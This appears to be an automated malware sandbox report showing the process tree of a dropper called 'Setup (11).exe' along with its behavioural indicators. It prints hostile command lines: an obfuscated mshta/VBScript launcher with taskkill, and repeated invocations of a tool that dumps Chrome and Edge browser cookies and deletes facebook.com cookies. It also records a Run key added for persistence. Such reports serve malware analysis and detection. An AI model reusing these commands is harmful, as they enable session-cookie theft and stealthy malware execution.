q_R3BjfhDKz86xmQpzTZXcRE.exeoUDuJIrvjhiFN6Pksw4imGv7.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeJnb6OAHCGUpjbSw8QMbKZzO3.exeWerFault.exeSgzvDXNLY5Wp3E9casiD7nlC.exeMVxA_jZtDKYMc1cQBe2G5TE1.exeV4AMZ_r8AUs_ZjiQweBtXYr_.exeB8NgLRPlQ0ppAWagYOtGQzl9.exe7497974.exeEsplorarne.exe.comWerFault.exeGeyf0XSpz6lFBC53XYtM7Tlw.exek01CMCnCVsoU0GWOjco_6fPz.exedescription pid process Token: SeDebugPrivilege 2336 q_R3BjfhDKz86xmQpzTZXcRE.exe Token: SeDebugPrivilege 3188 oUDuJIrvjhiFN6Pksw4imGv7.exe Token: SeRestorePrivilege 4816 WerFault.exe Token: SeBackupPrivilege 4816 WerFault.exe Token: SeDebugPrivilege 5024 WerFault.exe Token: SeDebugPrivilege 4372 WerFault.exe Token: SeDebugPrivilege 4904 WerFault.exe Token: SeDebugPrivilege 4816 WerFault.exe Token: SeDebugPrivilege 5476 WerFault.exe Token: SeDebugPrivilege 5508 Token: SeDebugPrivilege 5816 WerFault.exe Token: SeDebugPrivilege 2688 Jnb6OAHCGUpjbSw8QMbKZzO3.exe Token: SeDebugPrivilege 5884 WerFault.exe Token: SeDebugPrivilege 2632 SgzvDXNLY5Wp3E9casiD7nlC.exe Token: SeDebugPrivilege 1232 MVxA_jZtDKYMc1cQBe2G5TE1.exe Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeShutdownPrivilege 1392 Token: SeCreatePagefilePrivilege 1392 Token: SeDebugPrivilege 216 V4AMZ_r8AUs_ZjiQweBtXYr_.exe Token: SeDebugPrivilege 204 B8NgLRPlQ0ppAWagYOtGQzl9.exe Token: SeDebugPrivilege 5760 7497974.exe Token: SeDebugPrivilege 5304 Esplorarne.exe.com Token: SeDebugPrivilege 4808 WerFault.exe Token: SeDebugPrivilege 2312 Geyf0XSpz6lFBC53XYtM7Tlw.exe Token: SeDebugPrivilege 2652 k01CMCnCVsoU0GWOjco_6fPz.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
ncIowrg7Lz4Fmp9xa8N8iIPU.tmppid process 5092 ncIowrg7Lz4Fmp9xa8N8iIPU.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup (11).exedescription pid process target process PID 2992 wrote to memory of 2716 2992 Setup (11).exe UMSFxshz8dKpj5BKezrqeWdU.exe PID 2992 wrote to memory of 2716 2992 Setup (11).exe UMSFxshz8dKpj5BKezrqeWdU.exe PID 2992 wrote to memory of 2716 2992 Setup (11).exe UMSFxshz8dKpj5BKezrqeWdU.exe PID 2992 wrote to memory of 2348 2992 Setup (11).exe jhG9d9yMmReSXvc5kYBPFv_U.exe PID 2992 wrote to memory of 2348 2992 Setup (11).exe jhG9d9yMmReSXvc5kYBPFv_U.exe PID 2992 wrote to memory of 2348 2992 Setup (11).exe jhG9d9yMmReSXvc5kYBPFv_U.exe PID 2992 wrote to memory of 388 2992 Setup (11).exe VEcZdAtMFvZ5AJy6HvmGUnJG.exe PID 2992 wrote to memory of 388 2992 Setup (11).exe VEcZdAtMFvZ5AJy6HvmGUnJG.exe PID 2992 wrote to memory of 388 2992 Setup (11).exe VEcZdAtMFvZ5AJy6HvmGUnJG.exe PID 2992 wrote to memory of 2904 2992 Setup (11).exe 9bzDWj9FJbswCMVC3rPVjjMW.exe PID 2992 wrote to memory of 2904 2992 Setup (11).exe 9bzDWj9FJbswCMVC3rPVjjMW.exe PID 2992 wrote to memory of 2688 2992 Setup (11).exe Jnb6OAHCGUpjbSw8QMbKZzO3.exe PID 2992 wrote to memory of 2688 2992 Setup (11).exe Jnb6OAHCGUpjbSw8QMbKZzO3.exe PID 2992 wrote to memory of 2688 2992 Setup (11).exe Jnb6OAHCGUpjbSw8QMbKZzO3.exe PID 2992 wrote to memory of 2512 2992 Setup (11).exe FbYNZLsmVHHbfsDJ0NRSGoZS.exe PID 2992 wrote to memory of 2512 2992 Setup (11).exe FbYNZLsmVHHbfsDJ0NRSGoZS.exe PID 2992 wrote to memory of 2512 2992 Setup (11).exe FbYNZLsmVHHbfsDJ0NRSGoZS.exe PID 2992 wrote to memory of 2632 2992 Setup (11).exe SgzvDXNLY5Wp3E9casiD7nlC.exe PID 2992 wrote to memory of 2632 2992 Setup (11).exe SgzvDXNLY5Wp3E9casiD7nlC.exe PID 2992 wrote to memory of 2632 2992 Setup (11).exe SgzvDXNLY5Wp3E9casiD7nlC.exe PID 2992 wrote to memory of 2508 2992 Setup (11).exe VUZ1PVELYwf1SylTcc7fUKoE.exe PID 2992 wrote to memory of 2508 2992 Setup (11).exe VUZ1PVELYwf1SylTcc7fUKoE.exe PID 2992 wrote to memory of 2508 2992 Setup (11).exe VUZ1PVELYwf1SylTcc7fUKoE.exe PID 2992 wrote to memory of 2336 2992 Setup (11).exe q_R3BjfhDKz86xmQpzTZXcRE.exe PID 2992 wrote to memory of 2336 2992 Setup (11).exe q_R3BjfhDKz86xmQpzTZXcRE.exe PID 2992 wrote to memory of 2336 2992 Setup (11).exe q_R3BjfhDKz86xmQpzTZXcRE.exe PID 2992 wrote to memory of 2652 2992 Setup (11).exe k01CMCnCVsoU0GWOjco_6fPz.exe PID 2992 wrote to memory of 2652 2992 Setup (11).exe k01CMCnCVsoU0GWOjco_6fPz.exe PID 2992 wrote to memory of 2652 2992 Setup (11).exe k01CMCnCVsoU0GWOjco_6fPz.exe PID 2992 wrote to memory of 3324 2992 Setup (11).exe XbuaAKOannGTMT_SguqX7IUB.exe PID 2992 wrote to memory of 3324 2992 Setup (11).exe XbuaAKOannGTMT_SguqX7IUB.exe PID 2992 wrote to memory of 3324 2992 Setup (11).exe XbuaAKOannGTMT_SguqX7IUB.exe PID 2992 wrote to memory of 3328 2992 Setup (11).exe bMUiYJt_XIHSp9rNoGwkhQIL.exe PID 2992 wrote to memory of 3328 2992 Setup (11).exe bMUiYJt_XIHSp9rNoGwkhQIL.exe PID 2992 wrote to memory of 3328 2992 Setup (11).exe bMUiYJt_XIHSp9rNoGwkhQIL.exe PID 2992 wrote to memory of 2332 2992 Setup (11).exe SeG_J0VCXu_oUl1P0fB7HaaY.exe PID 2992 wrote to memory of 2332 2992 Setup (11).exe SeG_J0VCXu_oUl1P0fB7HaaY.exe PID 2992 wrote to memory of 2332 2992 Setup (11).exe SeG_J0VCXu_oUl1P0fB7HaaY.exe PID 2992 wrote to memory of 1432 2992 Setup (11).exe JPQQWmhn1HFREh6dSnHoOMZ0.exe PID 2992 wrote to memory of 1432 2992 Setup (11).exe JPQQWmhn1HFREh6dSnHoOMZ0.exe PID 2992 wrote to memory of 1432 2992 Setup (11).exe JPQQWmhn1HFREh6dSnHoOMZ0.exe PID 2992 wrote to memory of 2444 2992 Setup (11).exe eb8M87Ry3XaXIODxCSLHCwE5.exe PID 2992 wrote to memory of 2444 2992 Setup (11).exe eb8M87Ry3XaXIODxCSLHCwE5.exe PID 2992 wrote to memory of 2444 2992 Setup (11).exe eb8M87Ry3XaXIODxCSLHCwE5.exe PID 2992 wrote to memory of 216 2992 Setup (11).exe V4AMZ_r8AUs_ZjiQweBtXYr_.exe PID 2992 wrote to memory of 216 2992 Setup (11).exe V4AMZ_r8AUs_ZjiQweBtXYr_.exe PID 2992 wrote to memory of 216 2992 Setup (11).exe V4AMZ_r8AUs_ZjiQweBtXYr_.exe PID 2992 wrote to memory of 1232 2992 Setup (11).exe MVxA_jZtDKYMc1cQBe2G5TE1.exe PID 2992 wrote to memory of 1232 2992 Setup (11).exe MVxA_jZtDKYMc1cQBe2G5TE1.exe PID 2992 wrote to memory of 1232 2992 Setup (11).exe MVxA_jZtDKYMc1cQBe2G5TE1.exe PID 2992 wrote to memory of 204 2992 Setup (11).exe B8NgLRPlQ0ppAWagYOtGQzl9.exe PID 2992 wrote to memory of 204 2992 Setup (11).exe B8NgLRPlQ0ppAWagYOtGQzl9.exe PID 2992 wrote to memory of 204 2992 Setup (11).exe B8NgLRPlQ0ppAWagYOtGQzl9.exe PID 2992 wrote to memory of 3188 2992 Setup (11).exe oUDuJIrvjhiFN6Pksw4imGv7.exe PID 2992 wrote to memory of 3188 2992 Setup (11).exe oUDuJIrvjhiFN6Pksw4imGv7.exe PID 2992 wrote to memory of 3988 2992 Setup (11).exe lwbMDYst6d77w4t08SAEwJew.exe PID 2992 wrote to memory of 3988 2992 Setup (11).exe lwbMDYst6d77w4t08SAEwJew.exe PID 2992 wrote to memory of 3988 2992 Setup (11).exe lwbMDYst6d77w4t08SAEwJew.exe PID 2992 wrote to memory of 2312 2992 Setup (11).exe Geyf0XSpz6lFBC53XYtM7Tlw.exe PID 2992 wrote to memory of 2312 2992 Setup (11).exe Geyf0XSpz6lFBC53XYtM7Tlw.exe PID 2992 wrote to memory of 2312 2992 Setup (11).exe Geyf0XSpz6lFBC53XYtM7Tlw.exe PID 2992 wrote to memory of 2276 2992 Setup (11).exe GXP05EUM6TmxLrpEeDs0JEhJ.exe PID 2992 wrote to memory of 2276 2992 Setup (11).exe GXP05EUM6TmxLrpEeDs0JEhJ.exe PID 2992 wrote to memory of 2276 2992 Setup (11).exe GXP05EUM6TmxLrpEeDs0JEhJ.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (11).exe"C:\Users\Admin\AppData\Local\Temp\Setup (11).exe"1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Users\Admin\Documents\UtKTZZXvIIY9VAI8siqnKaX7.exe"C:\Users\Admin\Documents\UtKTZZXvIIY9VAI8siqnKaX7.exe"2⤵
- Executes dropped EXE
PID:2240 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIpT: ClOsE (CrEaTeobjeCt ( "WsCRIPt.SHELl"). RUN( "cmD.EXe /C coPy /y ""C:\Users\Admin\Documents\UtKTZZXvIIY9VAI8siqnKaX7.exe"" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo &IF """" == """" for %j iN (""C:\Users\Admin\Documents\UtKTZZXvIIY9VAI8siqnKaX7.exe"" ) do taskkill -im ""%~NXj"" -f " , 0, tRue ) )3⤵PID:5112
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C coPy /y "C:\Users\Admin\Documents\UtKTZZXvIIY9VAI8siqnKaX7.exe" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo&IF "" == "" for %j iN ("C:\Users\Admin\Documents\UtKTZZXvIIY9VAI8siqnKaX7.exe" ) do taskkill -im "%~NXj" -f4⤵PID:4012
-
C:\Users\Admin\Documents\GXP05EUM6TmxLrpEeDs0JEhJ.exe"C:\Users\Admin\Documents\GXP05EUM6TmxLrpEeDs0JEhJ.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2276 -
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
PID:4984 -
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:4864
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"4⤵
- Executes dropped EXE
PID:2248 -
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:3952
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵PID:5632
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:6904
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵PID:7052
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:6808
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵PID:6960
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵PID:5028
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
PID:5076 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
PID:5676 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:6952
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:8068
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:10224
-
C:\Users\Admin\Documents\Geyf0XSpz6lFBC53XYtM7Tlw.exe"C:\Users\Admin\Documents\Geyf0XSpz6lFBC53XYtM7Tlw.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2312 -
C:\Users\Admin\Documents\lwbMDYst6d77w4t08SAEwJew.exe"C:\Users\Admin\Documents\lwbMDYst6d77w4t08SAEwJew.exe"2⤵
- Executes dropped EXE
PID:3988 -
C:\Users\Admin\Documents\lwbMDYst6d77w4t08SAEwJew.exe"C:\Users\Admin\Documents\lwbMDYst6d77w4t08SAEwJew.exe"3⤵PID:9500
-
C:\Users\Admin\Documents\oUDuJIrvjhiFN6Pksw4imGv7.exe"C:\Users\Admin\Documents\oUDuJIrvjhiFN6Pksw4imGv7.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3188 -
C:\Users\Admin\AppData\Roaming\2238214.exe"C:\Users\Admin\AppData\Roaming\2238214.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5840 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
PID:5424 -
C:\Users\Admin\AppData\Roaming\8205194.exe"C:\Users\Admin\AppData\Roaming\8205194.exe"3⤵
- Executes dropped EXE
PID:5960 -
C:\Users\Admin\AppData\Roaming\5474533.exe"C:\Users\Admin\AppData\Roaming\5474533.exe"3⤵
- Executes dropped EXE
PID:6044 -
C:\Users\Admin\AppData\Roaming\7497974.exe"C:\Users\Admin\AppData\Roaming\7497974.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5760 -
C:\Users\Admin\Documents\MVxA_jZtDKYMc1cQBe2G5TE1.exe"C:\Users\Admin\Documents\MVxA_jZtDKYMc1cQBe2G5TE1.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1232 -
C:\Users\Admin\Documents\V4AMZ_r8AUs_ZjiQweBtXYr_.exe"C:\Users\Admin\Documents\V4AMZ_r8AUs_ZjiQweBtXYr_.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:216 -
C:\Users\Admin\Documents\B8NgLRPlQ0ppAWagYOtGQzl9.exe"C:\Users\Admin\Documents\B8NgLRPlQ0ppAWagYOtGQzl9.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:204 -
C:\Users\Admin\Documents\eb8M87Ry3XaXIODxCSLHCwE5.exe"C:\Users\Admin\Documents\eb8M87Ry3XaXIODxCSLHCwE5.exe"2⤵
- Executes dropped EXE
PID:2444 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2444 -s 9203⤵
- Program crash
PID:6616 -
C:\Users\Admin\Documents\SeG_J0VCXu_oUl1P0fB7HaaY.exe"C:\Users\Admin\Documents\SeG_J0VCXu_oUl1P0fB7HaaY.exe"2⤵
- Executes dropped EXE
PID:2332 -
C:\Users\Admin\Documents\JPQQWmhn1HFREh6dSnHoOMZ0.exe"C:\Users\Admin\Documents\JPQQWmhn1HFREh6dSnHoOMZ0.exe"2⤵
- Executes dropped EXE
PID:1432 -
C:\Users\Admin\Documents\JPQQWmhn1HFREh6dSnHoOMZ0.exe"C:\Users\Admin\Documents\JPQQWmhn1HFREh6dSnHoOMZ0.exe"3⤵PID:5420
-
C:\Users\Admin\Documents\bMUiYJt_XIHSp9rNoGwkhQIL.exe"C:\Users\Admin\Documents\bMUiYJt_XIHSp9rNoGwkhQIL.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3328 -
C:\Users\Admin\Documents\bMUiYJt_XIHSp9rNoGwkhQIL.exe"C:\Users\Admin\Documents\bMUiYJt_XIHSp9rNoGwkhQIL.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3092 -
C:\Users\Admin\Documents\XbuaAKOannGTMT_SguqX7IUB.exe"C:\Users\Admin\Documents\XbuaAKOannGTMT_SguqX7IUB.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3324 -
C:\Users\Admin\Documents\XbuaAKOannGTMT_SguqX7IUB.exeC:\Users\Admin\Documents\XbuaAKOannGTMT_SguqX7IUB.exe3⤵
- Executes dropped EXE
PID:4136 -
C:\Users\Admin\Documents\XbuaAKOannGTMT_SguqX7IUB.exeC:\Users\Admin\Documents\XbuaAKOannGTMT_SguqX7IUB.exe3⤵
- Executes dropped EXE
PID:4768 -
C:\Users\Admin\Documents\VUZ1PVELYwf1SylTcc7fUKoE.exe"C:\Users\Admin\Documents\VUZ1PVELYwf1SylTcc7fUKoE.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2508 -
C:\Users\Admin\Documents\q_R3BjfhDKz86xmQpzTZXcRE.exe"C:\Users\Admin\Documents\q_R3BjfhDKz86xmQpzTZXcRE.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2336 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 16763⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5024 -
C:\Users\Admin\Documents\Jnb6OAHCGUpjbSw8QMbKZzO3.exe"C:\Users\Admin\Documents\Jnb6OAHCGUpjbSw8QMbKZzO3.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2688 -
C:\Users\Admin\Documents\SgzvDXNLY5Wp3E9casiD7nlC.exe"C:\Users\Admin\Documents\SgzvDXNLY5Wp3E9casiD7nlC.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2632 -
C:\Users\Admin\Documents\jhG9d9yMmReSXvc5kYBPFv_U.exe"C:\Users\Admin\Documents\jhG9d9yMmReSXvc5kYBPFv_U.exe"2⤵
- Executes dropped EXE
PID:2348 -
C:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exe"C:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2512 -
C:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exeC:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exe3⤵
- Executes dropped EXE
PID:5292 -
C:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exeC:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exe3⤵PID:2140
-
C:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exeC:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exe3⤵
- Executes dropped EXE
PID:3464 -
C:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exeC:\Users\Admin\Documents\FbYNZLsmVHHbfsDJ0NRSGoZS.exe3⤵
- Executes dropped EXE
PID:4940 -
C:\Users\Admin\Documents\UMSFxshz8dKpj5BKezrqeWdU.exe"C:\Users\Admin\Documents\UMSFxshz8dKpj5BKezrqeWdU.exe"2⤵
- Executes dropped EXE
PID:2716 -
C:\Users\Admin\Documents\UMSFxshz8dKpj5BKezrqeWdU.exe"C:\Users\Admin\Documents\UMSFxshz8dKpj5BKezrqeWdU.exe"3⤵PID:6984
-
C:\Users\Admin\Documents\VEcZdAtMFvZ5AJy6HvmGUnJG.exe"C:\Users\Admin\Documents\VEcZdAtMFvZ5AJy6HvmGUnJG.exe"2⤵
- Executes dropped EXE
PID:388 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 388 -s 2283⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4816 -
C:\Users\Admin\Documents\9bzDWj9FJbswCMVC3rPVjjMW.exe"C:\Users\Admin\Documents\9bzDWj9FJbswCMVC3rPVjjMW.exe"2⤵
- Executes dropped EXE
PID:2904 -
C:\Users\Admin\Documents\k01CMCnCVsoU0GWOjco_6fPz.exe"C:\Users\Admin\Documents\k01CMCnCVsoU0GWOjco_6fPz.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2652 -
C:\Users\Admin\Documents\30A6dJbrrR6OUdaW2tsEoXi_.exe"C:\Users\Admin\Documents\30A6dJbrrR6OUdaW2tsEoXi_.exe"2⤵
- Executes dropped EXE
PID:4120 -
C:\Users\Admin\Documents\30A6dJbrrR6OUdaW2tsEoXi_.exe"C:\Users\Admin\Documents\30A6dJbrrR6OUdaW2tsEoXi_.exe" -q3⤵PID:3100
-
C:\Users\Admin\Documents\8_ZLT20rHr_a5Vt0Ol9hzsFb.exe"C:\Users\Admin\Documents\8_ZLT20rHr_a5Vt0Ol9hzsFb.exe"2⤵
- Executes dropped EXE
PID:3556 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3556 -s 7003⤵
- Program crash
PID:5508 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3556 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5884 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3556 -s 7003⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4808 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3556 -s 6603⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4372 -
C:\Users\Admin\Documents\yNMA1lzN_zh0wsKr1OcV4qYn.exe"C:\Users\Admin\Documents\yNMA1lzN_zh0wsKr1OcV4qYn.exe"2⤵
- Executes dropped EXE
PID:2252 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 6483⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5476 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 6403⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5816 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 7283⤵
- Program crash
PID:5304 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 11123⤵
- Program crash
PID:4272 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 11523⤵
- Program crash
PID:4116 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 11043⤵
- Program crash
PID:5512 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 6603⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4904 -
C:\Users\Admin\Documents\ncIowrg7Lz4Fmp9xa8N8iIPU.exe"C:\Users\Admin\Documents\ncIowrg7Lz4Fmp9xa8N8iIPU.exe"2⤵
- Executes dropped EXE
PID:4896 -
C:\Users\Admin\AppData\Local\Temp\is-3OEFM.tmp\ncIowrg7Lz4Fmp9xa8N8iIPU.tmp"C:\Users\Admin\AppData\Local\Temp\is-3OEFM.tmp\ncIowrg7Lz4Fmp9xa8N8iIPU.tmp" /SL5="$1029A,138429,56832,C:\Users\Admin\Documents\ncIowrg7Lz4Fmp9xa8N8iIPU.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:5092 -
C:\Users\Admin\AppData\Local\Temp\is-GPL40.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-GPL40.tmp\Setup.exe" /Verysilent4⤵PID:6036
-
C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent5⤵PID:4796
-
C:\Users\Admin\AppData\Local\Temp\is-C2DFO.tmp\Stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-C2DFO.tmp\Stats.tmp" /SL5="$103C2,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent6⤵PID:1292
-
